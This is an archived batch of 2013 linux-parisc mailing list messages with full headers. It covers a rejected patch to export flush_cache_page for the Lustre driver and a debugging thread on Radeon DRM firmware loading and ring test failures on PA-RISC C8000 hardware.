X-Received: by 10.68.202.201 with SMTP id kk9mr10670010pbc.166.1378404439299;
 Thu, 05 Sep 2013 11:07:19 -0700 (PDT)
Original-Received: by 10.70.18.229 with HTTP; Thu, 5 Sep 2013 11:07:19 -0700 (PDT)
In-Reply-To: <20130905171338.GB25882@merlin.infradead.org>
X-Google-Sender-Auth: 2MQGFJSxtB5DAVPYOIi0x75TRYw
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5308 gmane.linux.kernel:1556791
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5308>

On Thu, Sep 5, 2013 at 7:13 PM, Kyle McMartin <kyle@infradead.org> wrote:
> On Thu, Sep 05, 2013 at 09:01:59AM -0700, James Bottomley wrote:
>> > +EXPORT_SYMBOL_GPL(flush_cache_page);
>>
>> This is an internal API: no architecture exports this.  Whoever is
>> trying to use it needs to use the correct API, so this is the wrong
>> patch.
>>
>
> I suspect it's copy_{to,from}_user_page being called here:

Indeed. Sorry, I should have mentioned that.

> drivers/staging/lustre/lustre/libcfs/linux/linux-curproc.c:
> copy_to_user_page(vma, page, addr,
>
> which we could probably take out of line.

If you want to hide flush_cache_page() for modules, yes.

Gr{oetje,eeting}s,

                        Geert

--
Geert Uytterhoeven -- There's lots of Linux beyond ia32 -- geert@linux-m68k.org

In personal conversations with technical people, I call myself a hacker. But
when I'm talking to journalists I just say "programmer" or something like that.
                                -- Linus Torvalds
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] parisc: Export flush_cache_page() (needed by lustre)
Date: Thu, 05 Sep 2013 14:25:32 -0400
Lines: 38
Approved: news@gmane.org
Message-ID: <5228CC9C.9020300@bell.net>
References: <1378373595-29471-1-git-send-email-geert@linux-m68k.org> <1378396919.2142.5.camel@dabdike.int.hansenpartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-15; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1378405528 30381 80.91.229.3 (5 Sep 2013 18:25:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 5 Sep 2013 18:25:28 +0000 (UTC)
Cc: Geert Uytterhoeven <geert@linux-m68k.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Sep 05 20:25:28 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VHeFC-0007kD-RI
	for glpp-linux-parisc@plane.gmane.org; Thu, 05 Sep 2013 20:25:27 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753018Ab3IESZ0 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 5 Sep 2013 14:25:26 -0400
Original-Received: from smtp3.primus.ca ([209.216.129.203]:44872 "EHLO
	mail-07.primus.ca" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S1752412Ab3IESZZ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 5 Sep 2013 14:25:25 -0400
Original-Received: from i216-58-24-141.cybersurf.com ([216.58.24.141] helo=[192.168.0.181])
	by mail-07.primus.ca with esmtpa (Exim 4.72)
	(envelope-from <dave.anglin@bell.net>)
	id 1VHeF6-0007ur-24; Thu, 05 Sep 2013 14:25:20 -0400
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:17.0) Gecko/20130801 Thunderbird/17.0.8
In-Reply-To: <1378396919.2142.5.camel@dabdike.int.hansenpartnership.com>
X-Authenticated: danglin-lux@magma.ca - i216-58-24-141.cybersurf.com ([192.168.0.181]) [216.58.24.141]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5309 gmane.linux.kernel:1556796
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5309>

On 9/5/2013 12:01 PM, James Bottomley wrote:
> On Thu, 2013-09-05 at 11:33 +0200, Geert Uytterhoeven wrote:
>> ERROR: "flush_cache_page" [drivers/staging/lustre/lustre/libcfs/libcfs.ko] undefined!
>>
>> Signed-off-by: Geert Uytterhoeven <geert@linux-m68k.org>
>> ---
>>   arch/parisc/kernel/cache.c |    1 +
>>   1 file changed, 1 insertion(+)
>>
>> diff --git a/arch/parisc/kernel/cache.c b/arch/parisc/kernel/cache.c
>> index c035673..b521c0a 100644
>> --- a/arch/parisc/kernel/cache.c
>> +++ b/arch/parisc/kernel/cache.c
>> @@ -602,6 +602,7 @@ flush_cache_page(struct vm_area_struct *vma, unsigned long vmaddr, unsigned long
>>   		__flush_cache_page(vma, vmaddr, PFN_PHYS(pfn));
>>   	}
>>   }
>> +EXPORT_SYMBOL_GPL(flush_cache_page);
> This is an internal API: no architecture exports this.  Whoever is
> trying to use it needs to use the correct API, so this is the wrong
> patch.
>
There is a declaration for it in arch/parisc/include/asm/cacheflush.h.  
There are a bunch
of callers in mm.  The interface in documented in 
Documentation/cachetlb.txt.  We currently
use it in copy_to_user_page and copy_from_user_page.

Dave

-- 
John David Anglin    dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc debian kernel - missing  modules for C8000 - linux-image-3.10-2-parisc64-smp
Date: Thu, 05 Sep 2013 22:58:25 +0200
Lines: 36
Approved: news@gmane.org
Message-ID: <5228F071.4040000@gmx.de>
References: <521A7589.5000503@gmx.de> <BLU0-SMTP41F72FA4035273DC12703897360@phx.gbl> <BLU0-SMTP99E4F2E24E1A3F5BA18E7A97360@phx.gbl> <108451378018002@web28j.yandex.ru> <BLU0-SMTP1273DDE4A968FD3A43C55D97370@phx.gbl> <3B9F0B38-597D-439E-B57E-0F7E9E11BE9D@p0n4ik.tk> <BLU0-SMTP6283FFA9572E9BF7725A1E97300@phx.gbl> <F9C1BAB5-56D3-40E2-B0B2-184C92CD51AB@p0n4ik.tk> <52278FBD.2010304@bell.net> <BLU0-SMTP36B9C5CB7AF69063DE0EBD97320@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1378414708 8666 80.91.229.3 (5 Sep 2013 20:58:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 5 Sep 2013 20:58:28 +0000 (UTC)
Cc: Alex Ivanov <gnidorah@p0n4ik.tk>,
	Parisc List <linux-parisc@vger.kernel.org>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Sep 05 22:58:31 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VHgdL-0001c8-Ce
	for glpp-linux-parisc@plane.gmane.org; Thu, 05 Sep 2013 22:58:31 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751616Ab3IEU63 convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 5 Sep 2013 16:58:29 -0400
Original-Received: from mout.gmx.net ([212.227.15.18]:58478 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753121Ab3IEU63 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 5 Sep 2013 16:58:29 -0400
Original-Received: from [192.168.178.60] ([84.173.8.75]) by mail.gmx.com (mrgmx103)
 with ESMTPSA (Nemesis) id 0LsTjw-1VxFgx1lsW-0121Wm for
 <linux-parisc@vger.kernel.org>; Thu, 05 Sep 2013 22:58:27 +0200
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130805 Thunderbird/17.0.8
In-Reply-To: <BLU0-SMTP36B9C5CB7AF69063DE0EBD97320@phx.gbl>
X-Provags-ID: V03:K0:HIk7VpQLk3GE0degftP7QMt7lUZ8oMk6PeTaL4XTJPGdnH/RL/s
 5AJBDGSXWVI9bqjEuTfiFuNvQe2fWMzPI9xoyT/fLi1AVaejq6SUS2zCeljkmWJdQbRwWjX
 3Q1oa/971p3TWT+qiqtMQ3hPS5XWxJoqwEp1X9WRvT84gyQknRn87suHttCXXDc0UQCAGTF
 MiNhFipu0POUtDNGO6oaA==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5310
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5310>

On 09/05/2013 01:58 AM, John David Anglin wrote:
> Should have just given link:=20
> http://developer.amd.com/resources/documentation-articles/developer-g=
uides-manuals/
> It is listed near bottom as "R5xx Family 3D Programming Guide".

I found this "older" one:
http://www.x.org/docs/AMD/R5xx_Acceleration_v1.1.pdf

Maybe section 4.5 (Chips et Coherency Issues) is relevant too: ?
The Rage128 product revealed a weakness in some motherboard chipsets in=
 that there is no mechanism to guarantee
that data written by the CPU to memory is actually in a readable state =
before the Graphics Controller receives an
update to its copy of the Write Pointer. In an effort to alleviate this=
 problem, we=E2=80=9Fve introduced a mechanism into the
Graphics Controller that will delay the actual write to the Write Point=
er for some programmable amount of time, in
order to give the chipset time to flush its internal write buffers to m=
emory.
There are two register fields that control this mechanism: PRE_WRITE_TI=
MER and PRE_WRITE_LIMIT.[...]

In the radeon DRM codebase I didn't found anyone using/setting those re=
gisters.
Maybe PA-RISC has some problem here?...

Just a thought.

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex Ivanov <gnidorah@p0n4ik.tk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc debian kernel - missing  modules for C8000 - linux-image-3.10-2-parisc64-smp
Date: Fri, 6 Sep 2013 01:15:40 +0400
Lines: 69
Approved: news@gmane.org
Message-ID: <413F00CF-396F-472B-8476-DF1C4084FA81@p0n4ik.tk>
References: <521A7589.5000503@gmx.de> <BLU0-SMTP41F72FA4035273DC12703897360@phx.gbl> <BLU0-SMTP99E4F2E24E1A3F5BA18E7A97360@phx.gbl> <108451378018002@web28j.yandex.ru> <BLU0-SMTP1273DDE4A968FD3A43C55D97370@phx.gbl> <3B9F0B38-597D-439E-B57E-0F7E9E11BE9D@p0n4ik.tk> <BLU0-SMTP6283FFA9572E9BF7725A1E97300@phx.gbl> <F9C1BAB5-56D3-40E2-B0B2-184C92CD51AB@p0n4ik.tk> <52278FBD.2010304@bell.net> <90151378373008@web24h.yandex.ru> <BLU0-SMTP629706DAEF1E3714BE163097330@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Mac OS X Mail 6.5 \(1508\))
Content-Type: text/plain; charset=koi8-r
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1378415743 19934 80.91.229.3 (5 Sep 2013 21:15:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 5 Sep 2013 21:15:43 +0000 (UTC)
Cc: Parisc List <linux-parisc@vger.kernel.org>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Sep 05 23:15:45 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VHgu0-00089g-MY
	for glpp-linux-parisc@plane.gmane.org; Thu, 05 Sep 2013 23:15:45 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753398Ab3IEVPo convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 5 Sep 2013 17:15:44 -0400
Original-Received: from forward10.mail.yandex.net ([77.88.61.49]:51861 "EHLO
	forward10.mail.yandex.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753275Ab3IEVPn convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 5 Sep 2013 17:15:43 -0400
Original-Received: from smtp8.mail.yandex.net (smtp8.mail.yandex.net [77.88.61.54])
	by forward10.mail.yandex.net (Yandex) with ESMTP id 72B371021FF6;
	Fri,  6 Sep 2013 01:15:41 +0400 (MSK)
Original-Received: from smtp8.mail.yandex.net (localhost [127.0.0.1])
	by smtp8.mail.yandex.net (Yandex) with ESMTP id 334401B60136;
	Fri,  6 Sep 2013 01:15:41 +0400 (MSK)
Original-Received: from relay.gero.in (relay.gero.in [77.37.212.15])
	by smtp8.mail.yandex.net (nwsmtp/Yandex) with ESMTP id Isv77luAaz-Fe14vk6q;
	Fri,  6 Sep 2013 01:15:40 +0400
In-Reply-To: <BLU0-SMTP629706DAEF1E3714BE163097330@phx.gbl>
X-Mailer: Apple Mail (2.1508)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5311
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5311>

05.09.2013, =D7 16:49, John David Anglin <dave.anglin@bell.net> =CE=C1=D0=
=C9=D3=C1=CC(=C1):

> On 5-Sep-13, at 5:23 AM, Alex Ivanov wrote:
>=20
>=20
>> Good find! I though that it would be worth to check the load somehow=
,
>> as well. I've added the following piece after the load:
>>=20
>>               WREG32(RADEON_CP_ME_RAM_RADDR, 0);
>>               for (i =3D 0; i < size; i +=3D 2)
>>                       if (RREG32(RADEON_CP_ME_RAM_DATAH)
>>                               !=3D be32_to_cpup(&fw_data[i]) ||
>>                               RREG32(RADEON_CP_ME_RAM_DATAL)
>>                               !=3D be32_to_cpup(&fw_data[i+1])) {
>>                               printk(KERN_WARNING "RADEON_CP_ME_RAM_=
DATAH "
>>                                       "MISMATCH!\n");
>>                               break;
>>                       }
>>=20
>> I've recompiled with this and booted to the new kernel, but seeing n=
o warning,
>> so it looks like it passes.
>=20
> Could you add a line of code just to be sure the check is executed?
>=20
> From the boot log, it looks like register accesses generally seem to =
work, so it's
> starting to look like the card doesn't like the firmware.

Looks like.

>=20
> About all that I can see in the above that might be a problem is be32=
_to_cpup.
> Maybe you could just print in hex what you read back?  The R100 file =
is quite
> small.
>=20
>>=20
>> What's strange though is why they write zero instead of concrete mem=
ory address
>> to the CP_ME_RAM_ADDR register...
>=20
> Do you think the initial value should be different?  The documentatio=
n states the register
> is auto incremented on reads and writes.

My bad. I didn't take the written in manual correctly during first read=
ing.

>=20
> Dave
> --
> John David Anglin	dave.anglin@bell.net

I've added hex printing in a check and at brief view the output seems t=
o match cp firmware.
In my case, it's a r420_cp.bin


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc debian kernel - missing  modules for C8000 - linux-image-3.10-2-parisc64-smp
Date: Thu, 05 Sep 2013 17:35:15 -0400
Lines: 17
Approved: news@gmane.org
Message-ID: <5228F913.4060608@bell.net>
References: <521A7589.5000503@gmx.de> <BLU0-SMTP41F72FA4035273DC12703897360@phx.gbl> <BLU0-SMTP99E4F2E24E1A3F5BA18E7A97360@phx.gbl> <108451378018002@web28j.yandex.ru> <BLU0-SMTP1273DDE4A968FD3A43C55D97370@phx.gbl> <3B9F0B38-597D-439E-B57E-0F7E9E11BE9D@p0n4ik.tk> <BLU0-SMTP6283FFA9572E9BF7725A1E97300@phx.gbl> <F9C1BAB5-56D3-40E2-B0B2-184C92CD51AB@p0n4ik.tk> <52278FBD.2010304@bell.net> <90151378373008@web24h.yandex.ru> <BLU0-SMTP629706DAEF1E3714BE163097330@phx.gbl> <413F00CF-396F-472B-8476-DF1C4084FA81@p0n4ik.tk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=KOI8-R; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1378416906 32297 80.91.229.3 (5 Sep 2013 21:35:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 5 Sep 2013 21:35:06 +0000 (UTC)
Cc: Parisc List <linux-parisc@vger.kernel.org>
To: Alex Ivanov <gnidorah@p0n4ik.tk>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Sep 05 23:35:08 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VHhCj-0008LM-Ln
	for glpp-linux-parisc@plane.gmane.org; Thu, 05 Sep 2013 23:35:06 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753376Ab3IEVfE (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 5 Sep 2013 17:35:04 -0400
Original-Received: from smtp3.primus.ca ([209.216.129.203]:35768 "EHLO
	mail-01.primus.ca" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S1750721Ab3IEVfE (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 5 Sep 2013 17:35:04 -0400
Original-Received: from i216-58-24-141.cybersurf.com ([216.58.24.141] helo=[192.168.0.181])
	by mail-01.primus.ca with esmtpa (Exim 4.72)
	(envelope-from <dave.anglin@bell.net>)
	id 1VHhCf-0000Jv-38; Thu, 05 Sep 2013 17:35:02 -0400
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:17.0) Gecko/20130801 Thunderbird/17.0.8
In-Reply-To: <413F00CF-396F-472B-8476-DF1C4084FA81@p0n4ik.tk>
X-Authenticated: danglin-lux@magma.ca - i216-58-24-141.cybersurf.com ([192.168.0.181]) [216.58.24.141]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5312
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5312>

On 9/5/2013 5:15 PM, Alex Ivanov wrote:
> I've added hex printing in a check and at brief view the output seems to match cp firmware.
> In my case, it's a r420_cp.bin
OK, so the problem is probably not in the firmware load.  Maybe it's
the chipset coherency issue mentioned by Helge.  This may break ring 
test, etc.

Dave

-- 
John David Anglin    dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc debian kernel - missing  modules for C8000 -
 linux-image-3.10-2-parisc64-smp
Date: Fri, 6 Sep 2013 10:52:03 +0200
Lines: 38
Approved: news@gmane.org
Message-ID: <20130906085203.GA15333@alpha.franken.de>
References: <BLU0-SMTP41F72FA4035273DC12703897360@phx.gbl>
 <BLU0-SMTP99E4F2E24E1A3F5BA18E7A97360@phx.gbl>
 <108451378018002@web28j.yandex.ru>
 <BLU0-SMTP1273DDE4A968FD3A43C55D97370@phx.gbl>
 <3B9F0B38-597D-439E-B57E-0F7E9E11BE9D@p0n4ik.tk>
 <BLU0-SMTP6283FFA9572E9BF7725A1E97300@phx.gbl>
 <F9C1BAB5-56D3-40E2-B0B2-184C92CD51AB@p0n4ik.tk>
 <52278FBD.2010304@bell.net>
 <BLU0-SMTP36B9C5CB7AF69063DE0EBD97320@phx.gbl>
 <5228F071.4040000@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1378457614 12123 80.91.229.3 (6 Sep 2013 08:53:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 6 Sep 2013 08:53:34 +0000 (UTC)
Cc: John David Anglin <dave.anglin@bell.net>,
	Alex Ivanov <gnidorah@p0n4ik.tk>,
	Parisc List <linux-parisc@vger.kernel.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Sep 06 10:53:36 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VHrnM-0004yP-D3
	for glpp-linux-parisc@plane.gmane.org; Fri, 06 Sep 2013 10:53:36 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750915Ab3IFIxf (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 6 Sep 2013 04:53:35 -0400
Original-Received: from elvis.franken.de ([193.175.24.41]:53512 "EHLO elvis.franken.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750884Ab3IFIxd (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 6 Sep 2013 04:53:33 -0400
Original-Received: from uucp (helo=solo.franken.de)
	by elvis.franken.de with local-bsmtp (Exim 3.36 #1)
	id 1VHrnI-0004WM-00; Fri, 06 Sep 2013 10:53:32 +0200
Original-Received: by solo.franken.de (Postfix, from userid 1000)
	id C444C239AF5; Fri,  6 Sep 2013 10:52:03 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <5228F071.4040000@gmx.de>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5313
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5313>

On Thu, Sep 05, 2013 at 10:58:25PM +0200, Helge Deller wrote:
> Maybe section 4.5 (Chips et Coherency Issues) is relevant too: ?
> The Rage128 product revealed a weakness in some motherboard chipsets in that there is no mechanism to guarantee

but radeon is not r128, iirc.

My current state is:

- parisc AGP GART code writes IOMMU entries in the wrong byte order and
  doesn't add the coherency information SBA code adds

- our PCI BAR setup doesn't really work very well together with the Radeon
  DRM address setup. DRM will generate addresses, which are even outside
  of the connected LBA

I've hacked around both problems, but it doesn't solve the ring test
issue. I even bought an PCI Radeon card to rule out any AGP oddities,
but nothing new came out of the experiments with the PCI card.

I've started checking drivers/video/aty to see what it does with
acceleration and compare that with radeon DRM. The aty driver uses
an endian config bit DRM doesn't use, but I haven't tested whether
this makes a difference and how it is connected to the overall picture. 

What I'm still wondering is whether radeon DRM really works on 64bit
big endian boxes. Is there any prove, that someone has it running ?
Is it running on any big endian boxes ?

Thomas.

-- 
Crap can work. Given enough thrust pigs will fly, but it's not necessarily a
good idea.                                                [ RFC1925, 2.3 ]
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex Ivanov <gnidorah@p0n4ik.tk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc debian kernel - missing  modules for C8000 - linux-image-3.10-2-parisc64-smp
Date: Fri, 6 Sep 2013 18:12:01 +0400
Lines: 83
Approved: news@gmane.org
Message-ID: <23BC892C-4F67-4669-A161-5F6ADE15F203@p0n4ik.tk>
References: <BLU0-SMTP41F72FA4035273DC12703897360@phx.gbl> <BLU0-SMTP99E4F2E24E1A3F5BA18E7A97360@phx.gbl> <108451378018002@web28j.yandex.ru> <BLU0-SMTP1273DDE4A968FD3A43C55D97370@phx.gbl> <3B9F0B38-597D-439E-B57E-0F7E9E11BE9D@p0n4ik.tk> <BLU0-SMTP6283FFA9572E9BF7725A1E97300@phx.gbl> <F9C1BAB5-56D3-40E2-B0B2-184C92CD51AB@p0n4ik.tk> <52278FBD.2010304@bell.net> <BLU0-SMTP36B9C5CB7AF69063DE0EBD97320@phx.gbl> <5228F071.4040000@gmx.de> <20130906085203.GA15333@alpha.franken.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Mac OS X Mail 6.5 \(1508\))
Content-Type: text/plain; charset=koi8-r
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1378476732 3158 80.91.229.3 (6 Sep 2013 14:12:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 6 Sep 2013 14:12:12 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	John David Anglin <dave.anglin@bell.net>,
	Parisc List <linux-parisc@vger.kernel.org>
To: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Sep 06 16:12:15 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VHwlf-0000Hj-OR
	for glpp-linux-parisc@plane.gmane.org; Fri, 06 Sep 2013 16:12:12 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752991Ab3IFOMJ convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 6 Sep 2013 10:12:09 -0400
Original-Received: from forward9l.mail.yandex.net ([84.201.143.142]:51615 "EHLO
	forward9l.mail.yandex.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752978Ab3IFOMF convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 6 Sep 2013 10:12:05 -0400
Original-Received: from smtp13.mail.yandex.net (smtp13.mail.yandex.net [95.108.130.68])
	by forward9l.mail.yandex.net (Yandex) with ESMTP id DC328E60DC4;
	Fri,  6 Sep 2013 18:12:02 +0400 (MSK)
Original-Received: from smtp13.mail.yandex.net (localhost [127.0.0.1])
	by smtp13.mail.yandex.net (Yandex) with ESMTP id 625CBE4093F;
	Fri,  6 Sep 2013 18:12:02 +0400 (MSK)
Original-Received: from relay.gero.in (relay.gero.in [77.37.212.15])
	by smtp13.mail.yandex.net (nwsmtp/Yandex) with ESMTP id 9drfxw3EdJ-C1jmCfwL;
	Fri,  6 Sep 2013 18:12:01 +0400
In-Reply-To: <20130906085203.GA15333@alpha.franken.de>
X-Mailer: Apple Mail (2.1508)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5314
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5314>

06.09.2013, =D7 12:52, Thomas Bogendoerfer <tsbogend@alpha.franken.de> =
=CE=C1=D0=C9=D3=C1=CC(=C1):

